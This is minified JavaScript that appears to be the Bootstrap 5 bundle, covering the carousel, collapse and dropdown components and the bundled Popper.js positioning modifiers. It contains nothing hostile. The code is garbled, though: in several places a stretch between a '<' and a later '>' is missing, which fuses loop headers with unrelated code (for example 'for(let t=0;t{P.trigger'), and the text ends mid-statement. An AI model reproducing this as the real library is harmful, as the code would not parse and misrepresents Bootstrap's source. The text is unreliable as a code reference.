z(t){return"true"===t||"false"!==t&&(t===Number(t).toString()?Number(t):""===t||"null"===t?null:t)}function $(t){return t.replace(/[A-Z]/g,t=>"-"+t.toLowerCase())}P.on(document,"click.bs.button.data-api",'[data-bs-toggle="button"]',t=>{t.preventDefault();const e=t.target.closest('[data-bs-toggle="button"]');q.getOrCreateInstance(e).toggle()}),_(q);const U={setDataAttribute(t,e,i){t.setAttribute("data-bs-"+$(e),i)},removeDataAttribute(t,e){t.removeAttribute("data-bs-"+$(e))},getDataAttributes(t){if(!t)return{};const e={};return Object.keys(t.dataset).filter(t=>t.startsWith("bs")).forEach(i=>{let n=i.replace(/^bs/,"");n=n.charAt(0).toLowerCase()+n.slice(1,n.length),e[n]=z(t.dataset[i])}),e},getDataAttribute:(t,e)=>z(t.getAttribute("data-bs-"+$(e))),offset(t){const e=t.getBoundingClientRect();return{top:e.top+document.body.scrollTop,left:e.left+document.body.scrollLeft}},position:t=>({top:t.offsetTop,left:t.offsetLeft})},F={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0,touch:!0},V={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean",touch:"boolean"},K="next",X="prev",Y="left",Q="right",G={ArrowLeft:Q,ArrowRight:Y};class Z extends B{constructor(e,i){super(e),this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,this.touchDeltaX=0,this._config=this._getConfig(i),this._indicatorsElement=t.findOne(".carousel-indicators",this._element),this._touchSupported="ontouchstart"in document.documentElement||navigator.maxTouchPoints>0,this._pointerEvent=Boolean(window.PointerEvent),this._addEventListeners()}static get Default(){return F}static get NAME(){return"carousel"}next(){this._slide(K)}nextWhenVisible(){!document.hidden&&c(this._element)&&this.next()}prev(){this._slide(X)}pause(e){e||(this._isPaused=!0),t.findOne(".carousel-item-next, .carousel-item-prev",this._element)&&(o(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null}cycle(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config&&this._config.interval&&!this._isPaused&&(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))}to(e){this._activeElement=t.findOne(".active.carousel-item",this._element);const i=this._getItemIndex(this._activeElement);if(e>this._items.length-1||e<0)return;if(this._isSliding)return void P.one(this._element,"slid.bs.carousel",()=>this.to(e));if(i===e)return this.pause(),void this.cycle();const n=e>i?K:X;this._slide(n,this._items[e])}_getConfig(t){return t={...F,...U.getDataAttributes(this._element),..."object"==typeof t?t:{}},l("carousel",t,V),t}_handleSwipe(){const t=Math.abs(this.touchDeltaX);if(t<=40)return;const e=t/this.touchDeltaX;this.touchDeltaX=0,e&&this._slide(e>0?Q:Y)}_addEventListeners(){this._config.keyboard&&P.on(this._element,"keydown.bs.carousel",t=>this._keydown(t)),"hover"===this._config.pause&&(P.on(this._element,"mouseenter.bs.carousel",t=>this.pause(t)),P.on(this._element,"mouseleave.bs.carousel",t=>this.cycle(t))),this._config.touch&&this._touchSupported&&this._addTouchEventListeners()}_addTouchEventListeners(){const e=t=>{!this._pointerEvent||"pen"!==t.pointerType&&"touch"!==t.pointerType?this._pointerEvent||(this.touchStartX=t.touches[0].clientX):this.touchStartX=t.clientX},i=t=>{this.touchDeltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this.touchStartX},n=t=>{!this._pointerEvent||"pen"!==t.pointerType&&"touch"!==t.pointerType||(this.touchDeltaX=t.clientX-this.touchStartX),this._handleSwipe(),"hover"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout(t=>this.cycle(t),500+this._config.interval))};t.find(".carousel-item img",this._element).forEach(t=>{P.on(t,"dragstart.bs.carousel",t=>t.preventDefault())}),this._pointerEvent?(P.on(this._element,"pointerdown.bs.carousel",t=>e(t)),P.on(this._element,"pointerup.bs.carousel",t=>n(t)),this._element.classList.add("pointer-event")):(P.on(this._element,"touchstart.bs.carousel",t=>e(t)),P.on(this._element,"touchmove.bs.carousel",t=>i(t)),P.on(this._element,"touchend.bs.carousel",t=>n(t)))}_keydown(t){if(/input|textarea/i.test(t.target.tagName))return;const e=G[t.key];e&&(t.preventDefault(),this._slide(e))}_getItemIndex(e){return this._items=e&&e.parentNode?t.find(".carousel-item",e.parentNode):[],this._items.indexOf(e)}_getItemByOrder(t,e){const i=t===K;return y(this._items,e,i,this._config.wrap)}_triggerSlideEvent(e,i){const n=this._getItemIndex(e),s=this._getItemIndex(t.findOne(".active.carousel-item",this._element));return P.trigger(this._element,"slide.bs.carousel",{relatedTarget:e,direction:i,from:s,to:n})}_setActiveIndicatorElement(e){if(this._indicatorsElement){const i=t.findOne(".active",this._indicatorsElement);i.classList.remove("active"),i.removeAttribute("aria-current");const n=t.find("[data-bs-target]",this._indicatorsElement);for(let t=0;t{P.trigger(this._element,"slid.bs.carousel",{relatedTarget:r,direction:u,from:o,to:a})};if(this._element.classList.contains("slide")){r.classList.add(d),f(r),s.classList.add(h),r.classList.add(h);const t=()=>{r.classList.remove(h,d),r.classList.add("active"),s.classList.remove("active",d,h),this._isSliding=!1,setTimeout(p,0)};this._queueCallback(t,s,!0)}else s.classList.remove("active"),r.classList.add("active"),this._isSliding=!1,p();l&&this.cycle()}_directionToOrder(t){return[Q,Y].includes(t)?g()?t===Y?X:K:t===Y?K:X:t}_orderToDirection(t){return[K,X].includes(t)?g()?t===X?Y:Q:t===X?Q:Y:t}static carouselInterface(t,e){const i=Z.getOrCreateInstance(t,e);let{_config:n}=i;"object"==typeof e&&(n={...n,...e});const s="string"==typeof e?e:n.slide;if("number"==typeof e)i.to(e);else if("string"==typeof s){if(void 0===i[s])throw new TypeError(`No method named "${s}"`);i[s]()}else n.interval&&n.ride&&(i.pause(),i.cycle())}static jQueryInterface(t){return this.each((function(){Z.carouselInterface(this,t)}))}static dataApiClickHandler(t){const e=s(this);if(!e||!e.classList.contains("carousel"))return;const i={...U.getDataAttributes(e),...U.getDataAttributes(this)},n=this.getAttribute("data-bs-slide-to");n&&(i.interval=!1),Z.carouselInterface(e,i),n&&Z.getInstance(e).to(n),t.preventDefault()}}P.on(document,"click.bs.carousel.data-api","[data-bs-slide], [data-bs-slide-to]",Z.dataApiClickHandler),P.on(window,"load.bs.carousel.data-api",()=>{const e=t.find('[data-bs-ride="carousel"]');for(let t=0,i=e.length;tt===this._element);null!==o&&r.length&&(this._selector=o,this._triggerArray.push(i))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}static get Default(){return J}static get NAME(){return"collapse"}toggle(){this._element.classList.contains("show")?this.hide():this.show()}show(){if(this._isTransitioning||this._element.classList.contains("show"))return;let e,i;this._parent&&(e=t.find(".show, .collapsing",this._parent).filter(t=>"string"==typeof this._config.parent?t.getAttribute("data-bs-parent")===this._config.parent:t.classList.contains("collapse")),0===e.length&&(e=null));const n=t.findOne(this._selector);if(e){const t=e.find(t=>n!==t);if(i=t?et.getInstance(t):null,i&&i._isTransitioning)return}if(P.trigger(this._element,"show.bs.collapse").defaultPrevented)return;e&&e.forEach(t=>{n!==t&&et.collapseInterface(t,"hide"),i||R.set(t,"bs.collapse",null)});const s=this._getDimension();this._element.classList.remove("collapse"),this._element.classList.add("collapsing"),this._element.style[s]=0,this._triggerArray.length&&this._triggerArray.forEach(t=>{t.classList.remove("collapsed"),t.setAttribute("aria-expanded",!0)}),this.setTransitioning(!0);const o="scroll"+(s[0].toUpperCase()+s.slice(1));this._queueCallback(()=>{this._element.classList.remove("collapsing"),this._element.classList.add("collapse","show"),this._element.style[s]="",this.setTransitioning(!1),P.trigger(this._element,"shown.bs.collapse")},this._element,!0),this._element.style[s]=this._element[o]+"px"}hide(){if(this._isTransitioning||!this._element.classList.contains("show"))return;if(P.trigger(this._element,"hide.bs.collapse").defaultPrevented)return;const t=this._getDimension();this._element.style[t]=this._element.getBoundingClientRect()[t]+"px",f(this._element),this._element.classList.add("collapsing"),this._element.classList.remove("collapse","show");const e=this._triggerArray.length;if(e>0)for(let t=0;t{this.setTransitioning(!1),this._element.classList.remove("collapsing"),this._element.classList.add("collapse"),P.trigger(this._element,"hidden.bs.collapse")},this._element,!0)}setTransitioning(t){this._isTransitioning=t}_getConfig(t){return(t={...J,...t}).toggle=Boolean(t.toggle),l("collapse",t,tt),t}_getDimension(){return this._element.classList.contains("width")?"width":"height"}_getParent(){let{parent:e}=this._config;e=a(e);const i=`[data-bs-toggle="collapse"][data-bs-parent="${e}"]`;return t.find(i,e).forEach(t=>{const e=s(t);this._addAriaAndCollapsedClass(e,[t])}),e}_addAriaAndCollapsedClass(t,e){if(!t||!e.length)return;const i=t.classList.contains("show");e.forEach(t=>{i?t.classList.remove("collapsed"):t.classList.add("collapsed"),t.setAttribute("aria-expanded",i)})}static collapseInterface(t,e){let i=et.getInstance(t);const n={...J,...U.getDataAttributes(t),..."object"==typeof e&&e?e:{}};if(!i&&n.toggle&&"string"==typeof e&&/show|hide/.test(e)&&(n.toggle=!1),i||(i=new et(t,n)),"string"==typeof e){if(void 0===i[e])throw new TypeError(`No method named "${e}"`);i[e]()}}static jQueryInterface(t){return this.each((function(){et.collapseInterface(this,t)}))}}P.on(document,"click.bs.collapse.data-api",'[data-bs-toggle="collapse"]',(function(e){("A"===e.target.tagName||e.delegateTarget&&"A"===e.delegateTarget.tagName)&&e.preventDefault();const i=U.getDataAttributes(this),s=n(this);t.find(s).forEach(t=>{const e=et.getInstance(t);let n;e?(null===e._parent&&"string"==typeof i.parent&&(e._config.parent=i.parent,e._parent=e._getParent()),n="toggle"):n=i,et.collapseInterface(t,n)})})),_(et);var it="top",nt="bottom",st="right",ot="left",rt=[it,nt,st,ot],at=rt.reduce((function(t,e){return t.concat([e+"-start",e+"-end"])}),[]),lt=[].concat(rt,["auto"]).reduce((function(t,e){return t.concat([e,e+"-start",e+"-end"])}),[]),ct=["beforeRead","read","afterRead","beforeMain","main","afterMain","beforeWrite","write","afterWrite"];function ht(t){return t?(t.nodeName||"").toLowerCase():null}function dt(t){if(null==t)return window;if("[object Window]"!==t.toString()){var e=t.ownerDocument;return e&&e.defaultView||window}return t}function ut(t){return t instanceof dt(t).Element||t instanceof Element}function ft(t){return t instanceof dt(t).HTMLElement||t instanceof HTMLElement}function pt(t){return"undefined"!=typeof ShadowRoot&&(t instanceof dt(t).ShadowRoot||t instanceof ShadowRoot)}var mt={name:"applyStyles",enabled:!0,phase:"write",fn:function(t){var e=t.state;Object.keys(e.elements).forEach((function(t){var i=e.styles[t]||{},n=e.attributes[t]||{},s=e.elements[t];ft(s)&&ht(s)&&(Object.assign(s.style,i),Object.keys(n).forEach((function(t){var e=n[t];!1===e?s.removeAttribute(t):s.setAttribute(t,!0===e?"":e)})))}))},effect:function(t){var e=t.state,i={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(e.elements.popper.style,i.popper),e.styles=i,e.elements.arrow&&Object.assign(e.elements.arrow.style,i.arrow),function(){Object.keys(e.elements).forEach((function(t){var n=e.elements[t],s=e.attributes[t]||{},o=Object.keys(e.styles.hasOwnProperty(t)?e.styles[t]:i[t]).reduce((function(t,e){return t[e]="",t}),{});ft(n)&&ht(n)&&(Object.assign(n.style,o),Object.keys(s).forEach((function(t){n.removeAttribute(t)})))}))}},requires:["computeStyles"]};function gt(t){return t.split("-")[0]}function _t(t){var e=t.getBoundingClientRect();return{width:e.width,height:e.height,top:e.top,right:e.right,bottom:e.bottom,left:e.left,x:e.left,y:e.top}}function bt(t){var e=_t(t),i=t.offsetWidth,n=t.offsetHeight;return Math.abs(e.width-i)<=1&&(i=e.width),Math.abs(e.height-n)<=1&&(n=e.height),{x:t.offsetLeft,y:t.offsetTop,width:i,height:n}}function vt(t,e){var i=e.getRootNode&&e.getRootNode();if(t.contains(e))return!0;if(i&&pt(i)){var n=e;do{if(n&&t.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function yt(t){return dt(t).getComputedStyle(t)}function wt(t){return["table","td","th"].indexOf(ht(t))>=0}function Et(t){return((ut(t)?t.ownerDocument:t.document)||window.document).documentElement}function At(t){return"html"===ht(t)?t:t.assignedSlot||t.parentNode||(pt(t)?t.host:null)||Et(t)}function Tt(t){return ft(t)&&"fixed"!==yt(t).position?t.offsetParent:null}function Ot(t){for(var e=dt(t),i=Tt(t);i&&wt(i)&&"static"===yt(i).position;)i=Tt(i);return i&&("html"===ht(i)||"body"===ht(i)&&"static"===yt(i).position)?e:i||function(t){var e=-1!==navigator.userAgent.toLowerCase().indexOf("firefox");if(-1!==navigator.userAgent.indexOf("Trident")&&ft(t)&&"fixed"===yt(t).position)return null;for(var i=At(t);ft(i)&&["html","body"].indexOf(ht(i))<0;){var n=yt(i);if("none"!==n.transform||"none"!==n.perspective||"paint"===n.contain||-1!==["transform","perspective"].indexOf(n.willChange)||e&&"filter"===n.willChange||e&&n.filter&&"none"!==n.filter)return i;i=i.parentNode}return null}(t)||e}function Ct(t){return["top","bottom"].indexOf(t)>=0?"x":"y"}var kt=Math.max,Lt=Math.min,xt=Math.round;function Dt(t,e,i){return kt(t,Lt(e,i))}function St(t){return Object.assign({},{top:0,right:0,bottom:0,left:0},t)}function It(t,e){return e.reduce((function(e,i){return e[i]=t,e}),{})}var Nt={name:"arrow",enabled:!0,phase:"main",fn:function(t){var e,i=t.state,n=t.name,s=t.options,o=i.elements.arrow,r=i.modifiersData.popperOffsets,a=gt(i.placement),l=Ct(a),c=[ot,st].indexOf(a)>=0?"height":"width";if(o&&r){var h=function(t,e){return St("number"!=typeof(t="function"==typeof t?t(Object.assign({},e.rects,{placement:e.placement})):t)?t:It(t,rt))}(s.padding,i),d=bt(o),u="y"===l?it:ot,f="y"===l?nt:st,p=i.rects.reference[c]+i.rects.reference[l]-r[l]-i.rects.popper[c],m=r[l]-i.rects.reference[l],g=Ot(o),_=g?"y"===l?g.clientHeight||0:g.clientWidth||0:0,b=p/2-m/2,v=h[u],y=_-d[c]-h[f],w=_/2-d[c]/2+b,E=Dt(v,w,y),A=l;i.modifiersData[n]=((e={})[A]=E,e.centerOffset=E-w,e)}},effect:function(t){var e=t.state,i=t.options.element,n=void 0===i?"[data-popper-arrow]":i;null!=n&&("string"!=typeof n||(n=e.elements.popper.querySelector(n)))&&vt(e.elements.popper,n)&&(e.elements.arrow=n)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},jt={top:"auto",right:"auto",bottom:"auto",left:"auto"};function Mt(t){var e,i=t.popper,n=t.popperRect,s=t.placement,o=t.offsets,r=t.position,a=t.gpuAcceleration,l=t.adaptive,c=t.roundOffsets,h=!0===c?function(t){var e=t.x,i=t.y,n=window.devicePixelRatio||1;return{x:xt(xt(e*n)/n)||0,y:xt(xt(i*n)/n)||0}}(o):"function"==typeof c?c(o):o,d=h.x,u=void 0===d?0:d,f=h.y,p=void 0===f?0:f,m=o.hasOwnProperty("x"),g=o.hasOwnProperty("y"),_=ot,b=it,v=window;if(l){var y=Ot(i),w="clientHeight",E="clientWidth";y===dt(i)&&"static"!==yt(y=Et(i)).position&&(w="scrollHeight",E="scrollWidth"),y=y,s===it&&(b=nt,p-=y[w]-n.height,p*=a?1:-1),s===ot&&(_=st,u-=y[E]-n.width,u*=a?1:-1)}var A,T=Object.assign({position:r},l&&jt);return a?Object.assign({},T,((A={})[b]=g?"0":"",A[_]=m?"0":"",A.transform=(v.devicePixelRatio||1)<2?"translate("+u+"px, "+p+"px)":"translate3d("+u+"px, "+p+"px, 0)",A)):Object.assign({},T,((e={})[b]=g?p+"px":"",e[_]=m?u+"px":"",e.transform="",e))}var Pt={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(t){var e=t.state,i=t.options,n=i.gpuAcceleration,s=void 0===n||n,o=i.adaptive,r=void 0===o||o,a=i.roundOffsets,l=void 0===a||a,c={placement:gt(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:s};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign({},e.styles.popper,Mt(Object.assign({},c,{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:r,roundOffsets:l})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign({},e.styles.arrow,Mt(Object.assign({},c,{offsets:e.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-placement":e.placement})},data:{}},Ht={passive:!0},Rt={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(t){var e=t.state,i=t.instance,n=t.options,s=n.scroll,o=void 0===s||s,r=n.resize,a=void 0===r||r,l=dt(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return o&&c.forEach((function(t){t.addEventListener("scroll",i.update,Ht)})),a&&l.addEventListener("resize",i.update,Ht),function(){o&&c.forEach((function(t){t.removeEventListener("scroll",i.update,Ht)})),a&&l.removeEventListener("resize",i.update,Ht)}},data:{}},Bt={left:"right",right:"left",bottom:"top",top:"bottom"};function Wt(t){return t.replace(/left|right|bottom|top/g,(function(t){return Bt[t]}))}var qt={start:"end",end:"start"};function zt(t){return t.replace(/start|end/g,(function(t){return qt[t]}))}function $t(t){var e=dt(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function Ut(t){return _t(Et(t)).left+$t(t).scrollLeft}function Ft(t){var e=yt(t),i=e.overflow,n=e.overflowX,s=e.overflowY;return/auto|scroll|overlay|hidden/.test(i+s+n)}function Vt(t,e){var i;void 0===e&&(e=[]);var n=function t(e){return["html","body","#document"].indexOf(ht(e))>=0?e.ownerDocument.body:ft(e)&&Ft(e)?e:t(At(e))}(t),s=n===(null==(i=t.ownerDocument)?void 0:i.body),o=dt(n),r=s?[o].concat(o.visualViewport||[],Ft(n)?n:[]):n,a=e.concat(r);return s?a:a.concat(Vt(At(r)))}function Kt(t){return Object.assign({},t,{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function Xt(t,e){return"viewport"===e?Kt(function(t){var e=dt(t),i=Et(t),n=e.visualViewport,s=i.clientWidth,o=i.clientHeight,r=0,a=0;return n&&(s=n.width,o=n.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(r=n.offsetLeft,a=n.offsetTop)),{width:s,height:o,x:r+Ut(t),y:a}}(t)):ft(e)?function(t){var e=_t(t);return e.top=e.top+t.clientTop,e.left=e.left+t.clientLeft,e.bottom=e.top+t.clientHeight,e.right=e.left+t.clientWidth,e.width=t.clientWidth,e.height=t.clientHeight,e.x=e.left,e.y=e.top,e}(e):Kt(function(t){var e,i=Et(t),n=$t(t),s=null==(e=t.ownerDocument)?void 0:e.body,o=kt(i.scrollWidth,i.clientWidth,s?s.scrollWidth:0,s?s.clientWidth:0),r=kt(i.scrollHeight,i.clientHeight,s?s.scrollHeight:0,s?s.clientHeight:0),a=-n.scrollLeft+Ut(t),l=-n.scrollTop;return"rtl"===yt(s||i).direction&&(a+=kt(i.clientWidth,s?s.clientWidth:0)-o),{width:o,height:r,x:a,y:l}}(Et(t)))}function Yt(t){return t.split("-")[1]}function Qt(t){var e,i=t.reference,n=t.element,s=t.placement,o=s?gt(s):null,r=s?Yt(s):null,a=i.x+i.width/2-n.width/2,l=i.y+i.height/2-n.height/2;switch(o){case it:e={x:a,y:i.y-n.height};break;case nt:e={x:a,y:i.y+i.height};break;case st:e={x:i.x+i.width,y:l};break;case ot:e={x:i.x-n.width,y:l};break;default:e={x:i.x,y:i.y}}var c=o?Ct(o):null;if(null!=c){var h="y"===c?"height":"width";switch(r){case"start":e[c]=e[c]-(i[h]/2-n[h]/2);break;case"end":e[c]=e[c]+(i[h]/2-n[h]/2)}}return e}function Gt(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=void 0===n?t.placement:n,o=i.boundary,r=void 0===o?"clippingParents":o,a=i.rootBoundary,l=void 0===a?"viewport":a,c=i.elementContext,h=void 0===c?"popper":c,d=i.altBoundary,u=void 0!==d&&d,f=i.padding,p=void 0===f?0:f,m=St("number"!=typeof p?p:It(p,rt)),g="popper"===h?"reference":"popper",_=t.elements.reference,b=t.rects.popper,v=t.elements[u?g:h],y=function(t,e,i){var n="clippingParents"===e?function(t){var e=Vt(At(t)),i=["absolute","fixed"].indexOf(yt(t).position)>=0&&ft(t)?Ot(t):t;return ut(i)?e.filter((function(t){return ut(t)&&vt(t,i)&&"body"!==ht(t)})):[]}(t):[].concat(e),s=[].concat(n,[i]),o=s[0],r=s.reduce((function(e,i){var n=Xt(t,i);return e.top=kt(n.top,e.top),e.right=Lt(n.right,e.right),e.bottom=Lt(n.bottom,e.bottom),e.left=kt(n.left,e.left),e}),Xt(t,o));return r.width=r.right-r.left,r.height=r.bottom-r.top,r.x=r.left,r.y=r.top,r}(ut(v)?v:v.contextElement||Et(t.elements.popper),r,l),w=_t(_),E=Qt({reference:w,element:b,strategy:"absolute",placement:s}),A=Kt(Object.assign({},b,E)),T="popper"===h?A:w,O={top:y.top-T.top+m.top,bottom:T.bottom-y.bottom+m.bottom,left:y.left-T.left+m.left,right:T.right-y.right+m.right},C=t.modifiersData.offset;if("popper"===h&&C){var k=C[s];Object.keys(O).forEach((function(t){var e=[st,nt].indexOf(t)>=0?1:-1,i=[it,nt].indexOf(t)>=0?"y":"x";O[t]+=k[i]*e}))}return O}function Zt(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=i.boundary,o=i.rootBoundary,r=i.padding,a=i.flipVariations,l=i.allowedAutoPlacements,c=void 0===l?lt:l,h=Yt(n),d=h?a?at:at.filter((function(t){return Yt(t)===h})):rt,u=d.filter((function(t){return c.indexOf(t)>=0}));0===u.length&&(u=d);var f=u.reduce((function(e,i){return e[i]=Gt(t,{placement:i,boundary:s,rootBoundary:o,padding:r})[gt(i)],e}),{});return Object.keys(f).sort((function(t,e){return f[t]-f[e]}))}var Jt={name:"flip",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name;if(!e.modifiersData[n]._skip){for(var s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0===r||r,l=i.fallbackPlacements,c=i.padding,h=i.boundary,d=i.rootBoundary,u=i.altBoundary,f=i.flipVariations,p=void 0===f||f,m=i.allowedAutoPlacements,g=e.options.placement,_=gt(g),b=l||(_!==g&&p?function(t){if("auto"===gt(t))return[];var e=Wt(t);return[zt(t),e,zt(e)]}(g):[Wt(g)]),v=[g].concat(b).reduce((function(t,i){return t.concat("auto"===gt(i)?Zt(e,{placement:i,boundary:h,rootBoundary:d,padding:c,flipVariations:p,allowedAutoPlacements:m}):i)}),[]),y=e.rects.reference,w=e.rects.popper,E=new Map,A=!0,T=v[0],O=0;O=0,D=x?"width":"height",S=Gt(e,{placement:C,boundary:h,rootBoundary:d,altBoundary:u,padding:c}),I=x?L?st:ot:L?nt:it;y[D]>w[D]&&(I=Wt(I));var N=Wt(I),j=[];if(o&&j.push(S[k]<=0),a&&j.push(S[I]<=0,S[N]<=0),j.every((function(t){return t}))){T=C,A=!1;break}E.set(C,j)}if(A)for(var M=function(t){var e=v.find((function(e){var i=E.get(e);if(i)return i.slice(0,t).every((function(t){return t}))}));if(e)return T=e,"break"},P=p?3:1;P>0&&"break"!==M(P);P--);e.placement!==T&&(e.modifiersData[n]._skip=!0,e.placement=T,e.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}};function te(t,e,i){return void 0===i&&(i={x:0,y:0}),{top:t.top-e.height-i.y,right:t.right-e.width+i.x,bottom:t.bottom-e.height+i.y,left:t.left-e.width-i.x}}function ee(t){return[it,st,nt,ot].some((function(e){return t[e]>=0}))}var ie={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(t){var e=t.state,i=t.name,n=e.rects.reference,s=e.rects.popper,o=e.modifiersData.preventOverflow,r=Gt(e,{elementContext:"reference"}),a=Gt(e,{altBoundary:!0}),l=te(r,n),c=te(a,s,o),h=ee(l),d=ee(c);e.modifiersData[i]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:h,hasPopperEscaped:d},e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-reference-hidden":h,"data-popper-escaped":d})}},ne={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.offset,o=void 0===s?[0,0]:s,r=lt.reduce((function(t,i){return t[i]=function(t,e,i){var n=gt(t),s=[ot,it].indexOf(n)>=0?-1:1,o="function"==typeof i?i(Object.assign({},e,{placement:t})):i,r=o[0],a=o[1];return r=r||0,a=(a||0)*s,[ot,st].indexOf(n)>=0?{x:a,y:r}:{x:r,y:a}}(i,e.rects,o),t}),{}),a=r[e.placement],l=a.x,c=a.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=l,e.modifiersData.popperOffsets.y+=c),e.modifiersData[n]=r}},se={name:"popperOffsets",enabled:!0,phase:"read",fn:function(t){var e=t.state,i=t.name;e.modifiersData[i]=Qt({reference:e.rects.reference,element:e.rects.popper,strategy:"absolute",placement:e.placement})},data:{}},oe={name:"preventOverflow",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0!==r&&r,l=i.boundary,c=i.rootBoundary,h=i.altBoundary,d=i.padding,u=i.tether,f=void 0===u||u,p=i.tetherOffset,m=void 0===p?0:p,g=Gt(e,{boundary:l,rootBoundary:c,padding:d,altBoundary:h}),_=gt(e.placement),b=Yt(e.placement),v=!b,y=Ct(_),w="x"===y?"y":"x",E=e.modifiersData.popperOffsets,A=e.rects.reference,T=e.rects.popper,O="function"==typeof m?m(Object.assign({},e.rects,{placement:e.placement})):m,C={x:0,y:0};if(E){if(o||a){var k="y"===y?it:ot,L="y"===y?nt:st,x="y"===y?"height":"width",D=E[y],S=E[y]+g[k],I=E[y]-g[L],N=f?-T[x]/2:0,j="start"===b?A[x]:T[x],M="start"===b?-T[x]:-A[x],P=e.elements.arrow,H=f&&P?bt(P):{width:0,height:0},R=e.modifiersData["arrow#persistent"]?e.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},B=R[k],W=R[L],q=Dt(0,A[x],H[x]),z=v?A[x]/2-N-q-B-O:j-q-B-O,$=v?-A[x]/2+N+q+W+O:M+q+W+O,U=e.elements.arrow&&Ot(e.elements.arrow),F=U?"y"===y?U.clientTop||0:U.clientLeft||0:0,V=e.modifiersData.offset?e.modifiersData.offset[e.placement][y]:0,K=E[y]+z-V-F,X=E[y]+$-V;if(o){var Y=Dt(f?Lt(S,K):S,D,f?kt(I,X):I);E[y]=Y,C[y]=Y-D}if(a){var Q="x"===y?it:ot,G="x"===y?nt:st,Z=E[w],J=Z+g[Q],tt=Z-g[G],et=Dt(f?Lt(J,K):J,Z,f?kt(tt,X):tt);E[w]=et,C[w]=et-Z}}e.modifiersData[n]=C}},requiresIfExists:["offset"]};function re(t,e,i){void 0===i&&(i=!1);var n,s,o=Et(e),r=_t(t),a=ft(e),l={scrollLeft:0,scrollTop:0},c={x:0,y:0};return(a||!a&&!i)&&(("body"!==ht(e)||Ft(o))&&(l=(n=e)!==dt(n)&&ft(n)?{scrollLeft:(s=n).scrollLeft,scrollTop:s.scrollTop}:$t(n)),ft(e)?((c=_t(e)).x+=e.clientLeft,c.y+=e.clientTop):o&&(c.x=Ut(o))),{x:r.left+l.scrollLeft-c.x,y:r.top+l.scrollTop-c.y,width:r.width,height:r.height}}var ae={placement:"bottom",modifiers:[],strategy:"absolute"};function le(){for(var t=arguments.length,e=new Array(t),i=0;i"applyStyles"===t.name&&!1===t.enabled);this._popper=ue(e,this._menu,i),n&&U.setDataAttribute(this._menu,"popper","static")}"ontouchstart"in document.documentElement&&!t.closest(".navbar-nav")&&[].concat(...document.body.children).forEach(t=>P.on(t,"mouseover",u)),this._element.focus(),this._element.setAttribute("aria-expanded",!0),this._menu.classList.toggle("show"),this._element.classList.toggle("show"),P.trigger(this._element,"shown.bs.dropdown",e)}}hide(){if(h(this._element)||!this._menu.classList.contains("show"))return;const t={relatedTarget:this._element};this._completeHide(t)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_addEventListeners(){P.on(this._element,"click.bs.dropdown",t=>{t.preventDefault(),this.toggle()})}_completeHide(t){P.trigger(this._element,"hide.bs.dropdown",t).defaultPrevented||("ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>P.off(t,"mouseover",u)),this._popper&&this._popper.destroy(),this._menu.classList.remove("show"),this._element.classList.remove("show"),this._element.setAttribute("aria-expanded","false"),U.removeDataAttribute(this._menu,"popper"),P.trigger(this._element,"hidden.bs.dropdown",t))}_getConfig(t){if(t={...this.constructor.Default,...U.getDataAttributes(this._element),...t},l("dropdown",t,this.constructor.DefaultType),"object"==typeof t.reference&&!r(t.reference)&&"function"!=typeof t.reference.getBoundingClientRect)throw new TypeError("dropdown".toUpperCase()+': Option "reference" provided type "object" without a required "getBoundingClientRect" method.');return t}_getMenuElement(){return t.next(this._element,".dropdown-menu")[0]}_getPlacement(){const t=this._element.parentNode;if(t.classList.contains("dropend"))return ve;if(t.classList.contains("dropstart"))return ye;const e="end"===getComputedStyle(this._menu).getPropertyValue("--bs-position").trim();return t.classList.contains("dropup")?e?ge:me:e?be:_e}_detectNavbar(){return null!==this._element.closest(".navbar")}_getOffset(){const{offset:t}=this._config;return"string"==typeof 